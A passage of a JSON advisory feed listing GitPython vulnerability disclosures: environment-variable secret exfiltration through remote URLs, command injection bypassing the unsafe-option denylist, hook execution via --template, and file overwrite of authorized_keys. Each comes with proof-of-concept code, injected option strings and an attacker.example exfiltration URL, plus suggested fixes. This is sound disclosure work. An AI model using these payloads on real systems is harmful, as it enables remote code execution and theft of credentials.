3.1.50"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdzJyLXI3bXctajNoY84ABhBx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNGYzLWc0Y3EtaHFyeM4ABhCU","url":"https://github.com/advisories/GHSA-m4f3-g4cq-hqrx","title":"Duplicate Advisory: GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-rwj8-pgh3-r573. This link is maintained to preserve external references.\n\n## Original Description\n\nGitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-01T15:30:28.000Z","withdrawn_at":"2026-09-08T15:34:11.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573","https://nvd.nist.gov/vuln/detail/CVE-2026-67322","https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from","https://github.com/advisories/GHSA-m4f3-g4cq-hqrx"],"source_kind":"github","identifiers":["GHSA-m4f3-g4cq-hqrx"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T16:00:08.906Z","updated_at":"2026-10-02T15:00:44.804Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNGYzLWc0Y3EtaHFyeM4ABhCU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNGYzLWc0Y3EtaHFyeM4ABhCU","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.51"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNGYzLWc0Y3EtaHFyeM4ABhCU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cjJyLXd3MjQtN2g1Ms4ABhCc","url":"https://github.com/advisories/GHSA-6r2r-ww24-7h52","title":"Duplicate Advisory: GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-2f96-g7mh-g2hx. This link is maintained to preserve external references.\n\n## Original Description\n\nGitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-01T15:30:28.000Z","withdrawn_at":"2026-09-08T17:17:07.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx","https://nvd.nist.gov/vuln/detail/CVE-2026-67325","https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation","https://github.com/advisories/GHSA-6r2r-ww24-7h52"],"source_kind":"github","identifiers":["GHSA-6r2r-ww24-7h52"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T18:00:09.656Z","updated_at":"2026-10-02T15:00:44.795Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cjJyLXd3MjQtN2g1Ms4ABhCc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cjJyLXd3MjQtN2g1Ms4ABhCc","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.50"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cjJyLXd3MjQtN2g1Ms4ABhCc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00dnBnLXBmajgtbTMzcc4ABhCQ","url":"https://github.com/advisories/GHSA-4vpg-pfj8-m33q","title":"Duplicate Advisory: GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-956x-8gvw-wg5v. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=\u003cpath\u003e can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-01T15:30:28.000Z","withdrawn_at":"2026-09-08T15:08:44.000Z","classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v","https://nvd.nist.gov/vuln/detail/CVE-2026-67323","https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options","https://github.com/advisories/GHSA-4vpg-pfj8-m33q"],"source_kind":"github","identifiers":["GHSA-4vpg-pfj8-m33q"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T16:00:08.931Z","updated_at":"2026-10-02T15:00:44.807Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00dnBnLXBmajgtbTMzcc4ABhCQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00dnBnLXBmajgtbTMzcc4ABhCQ","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.50"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00dnBnLXBmajgtbTMzcc4ABhCQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05NHA0LTRjcTgtOWc2N84ABftC","url":"https://github.com/advisories/GHSA-94p4-4cq8-9g67","title":"GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)","description":"## Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same \"import repository from URL\" threat model the advisory describes, via the sibling caller the fix missed.\n\n## Root Cause\n\nFix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated.\n\n[`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`:\n\n```python\nurl = Git.polish_url(url)                 # expand_vars=True -\u003e os.path.expandvars(url)\nif not allow_unsafe_protocols:\n    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs)   # expanded URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53 (installed below)\n\n### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir /tmp/gp-remote-poc \u0026\u0026 cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip install gitpython==3.1.53\n```\n\n### Step 2: Write the PoC\n\n```bash\ncat \u003e poc.py \u003c\u003c'PYEOF'\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython version:\", git.__version__)\n\n# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"] = SENTINEL\n\n# Local HTTP server standing in for attacker.example.\ncaptured = []\n\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        captured.append(self.path)\n        self.send_response(404)\n        self.end_headers()\n\n    def log_message(self, *a):\n        pass\n\n\nsrv = http.server.HTTPServer((\"127.0.0.1\", 0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\n\n# Attacker-controlled URL handed to an \"import from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\" % port\n\n\ndef norm(s):  # display the ephemeral listener port as a stable placeholder\n    return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\n\nprint(\"attacker-supplied URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote = repo.create_remote(\"evil\", attacker_url)   # public API\n\nstored = repo.remote(\"evil\").url\nprint(\"stored remote URL     :\", norm(stored))\nprint(\"SENTINEL in git config:\", SENTINEL in stored)\n\ntry:\n    remote.fetch()          # transmits the expanded URL to the attacker host\nexcept Exception:\n    pass                    # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received   :\", [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif SENTINEL in stored and over_network:\n    print(\"VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n    print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n    print(\"not reproduced\")\nPYEOF\n```\n\n### Step 3: Run it\n\n```bash\ncd /tmp/gp-remote-poc \u0026\u0026 ./venv/bin/python poc.py\n```\n\nExpected output (the listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version: 3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL in git config: True\nHTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL over network : True\n\nVULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in the supplied URL is replaced with the environment value both in the stored `.git/config` URL and in the request that reaches the attacker-controlled host.\n\n## Suggested Fix\n\nPass `expand_vars=False` at the remaining URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`: `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py` `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.\n\n## Cleanup\n\n```bash\nrm -rf /tmp/gp-remote-poc\n```\n\n## Impact\n\nAny secret in the hosting process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded into `.git/config` immediately and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote update`. This is the documented \"import repository from URL\" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches `.gitmodules` (a committable file) via `Submodule.add()`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T21:45:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67","https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55","https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3951.yaml","https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add","https://github.com/advisories/GHSA-94p4-4cq8-9g67"],"source_kind":"github","identifiers":["GHSA-94p4-4cq8-9g67"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.726Z","updated_at":"2026-10-02T15:00:27.087Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NHA0LTRjcTgtOWc2N84ABftC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05NHA0LTRjcTgtOWc2N84ABftC","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.55","vulnerable_version_range":"\u003c 3.1.55"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NHA0LTRjcTgtOWc2N84ABftC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yOW1yLW0zN2MtNWZyM84ABfq5","url":"https://github.com/advisories/GHSA-r9mr-m37c-5fr3","title":"GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution","description":"## Summary\nGitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`.\n\n## Root Cause\nThe guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {\"n\":\"--upload-pack=\u003ccmd\u003e\"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=\u003ccmd\u003e']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.\n\n## Impact\nArbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`.\n\n## Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(bare_repo, out_dir, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")\n# /tmp/ACE created -\u003e ACE. Direct-name form upload_pack=\"...\" is correctly BLOCKED.\n```\nFile-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -\u003e candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated.\n\n## Attack Chain\n1. Entry: app forwards a user-supplied options dict -\u003e `Repo.clone_from(url, path, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {\"n\":\"--upload-pack=...\"})` -\u003e `['-n']` (key-only), not on denylist -\u003e no UnsafeOptionError (verified live).\n2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -\u003e `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.\n3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack' -- \u003csrc\u003e \u003cdst\u003e`; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end).\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value-\u003eseparate-token vector.\n\n## Affected Versions\n`\u003c= 3.1.53`\n\n## Suggested Fix\nMake `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T16:42:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3","https://github.com/gitpython-developers/GitPython/pull/2180","https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54","https://github.com/advisories/GHSA-r9mr-m37c-5fr3"],"source_kind":"github","identifiers":["GHSA-r9mr-m37c-5fr3"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T17:00:09.079Z","updated_at":"2026-10-02T15:01:38.615Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOW1yLW0zN2MtNWZyM84ABfq5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yOW1yLW0zN2MtNWZyM84ABfq5","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.54","vulnerable_version_range":"\u003c= 3.1.53"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOW1yLW0zN2MtNWZyM84ABfq5/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cDhoLTN3Z3gtOTdnZs4ABfq4","url":"https://github.com/advisories/GHSA-6p8h-3wgx-97gf","title":"GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks","description":"## Summary\nGitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=\u003cdir\u003e` copies `\u003cdir\u003e/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration.\n\n## Root Cause\n`base.py:145-152` defines `unsafe_git_clone_options = [\"--upload-pack\",\"-u\",\"--config\",\"-c\"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense.\n\n## Impact\nArbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H.\n\n## Proof of Concept\n```python\n# attacker stages \u003cdir\u003e/hooks/post-checkout (chmod +x)\nfrom git import Repo\nRepo.clone_from(src, dst, template='\u003cdir\u003e')   # post-checkout hook executes -\u003e marker created (verified)\n```\n\n## Attack Chain\n1. Setup: attacker stages `\u003cdir\u003e/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem).\n2. Entry: `Repo.clone_from(url, path, template='\u003cdir\u003e')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -\u003e passes (verified candidate `['--template']`, no error).\n3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created).\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.\n\n## Affected Versions\n`\u003c= 3.1.53`\n\n## Suggested Fix\nAdd `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T16:42:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf","https://github.com/gitpython-developers/GitPython/pull/2180","https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54","https://github.com/advisories/GHSA-6p8h-3wgx-97gf"],"source_kind":"github","identifiers":["GHSA-6p8h-3wgx-97gf"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T17:00:09.079Z","updated_at":"2026-10-02T15:01:38.616Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cDhoLTN3Z3gtOTdnZs4ABfq4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cDhoLTN3Z3gtOTdnZs4ABfq4","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.54","vulnerable_version_range":"\u003c= 3.1.53"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cDhoLTN3Z3gtOTdnZs4ABfq4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1manI0LXg2NjMtbXd4Y84ABfq3","url":"https://github.com/advisories/GHSA-fjr4-x663-mwxc","title":"GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)","description":"## Summary\n`Diffable.diff()` forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options` guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`, giving a broad surface. `git diff --output=\u003cpath\u003e` writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.\n\n## Root Cause\n`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options` anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE the `--` separator, so a value of `--output=/path` is parsed by git as an option — a value-only control path requiring no kwarg key.\n\n## Impact\nOverwrite/corrupt any file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.\n\n## Proof of Concept\n```python\n# Key-control:\ncommit.diff(other_commit, output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff (105 bytes verified)\n# Value-control (attacker controls only the ref string):\ncommit.diff(other='--output=/home/app/.ssh/authorized_keys')          # 14-byte victim -\u003e 146 bytes of diff-tree output\n```\n\n## Attack Chain\n1. Entry (value-control): `commit.diff(other=\u003cuser ref\u003e)` with `other = \"--output=/home/app/.ssh/authorized_keys\"`. Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method body (grep); `other` inserted pre-`--` at diff.py:265.\n2. Sink: `git diff-tree \u003csha\u003e --output=/home/app/.ssh/authorized_keys -r ...` -\u003e git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`) overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','\u003csha\u003e','--output=/victim','-r',...]`. This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')` — but `diff` is a distinct, unguarded sink NOT touched by that fix.\n\n## Affected Versions\n`\u003c= 3.1.53`\n\n## Suggested Fix\nAdd `check_unsafe_options` to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options` before the `other` ref so it cannot be parsed as an option.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T16:41:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc","https://github.com/gitpython-developers/GitPython/pull/2180","https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54","https://github.com/advisories/GHSA-fjr4-x663-mwxc"],"source_kind":"github","identifiers":["GHSA-fjr4-x663-mwxc"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T17:00:09.079Z","updated_at":"2026-10-02T15:01:38.617Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1manI0LXg2NjMtbXd4Y84ABfq3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1manI0LXg2NjMtbXd4Y84ABfq3","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.54","vulnerable_version_range":"\u003c= 3.1.53"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1manI0LXg2NjMtbXd4Y84ABfq3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zcnA1LWpqbXctNHd2Ms4ABfqy","url":"https://github.com/advisories/GHSA-3rp5-jjmw-4wv2","title":"GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)","description":"### Summary\n\nIn GitPython `\u003c= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ \"` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**.\n\nThis is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\\n\\x00]` guard added for them does not stop a **same-line** section break inside a name.\n\n### Details\n\nThe only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL:\n\n`git/config.py:75,897-899` (`GitPython 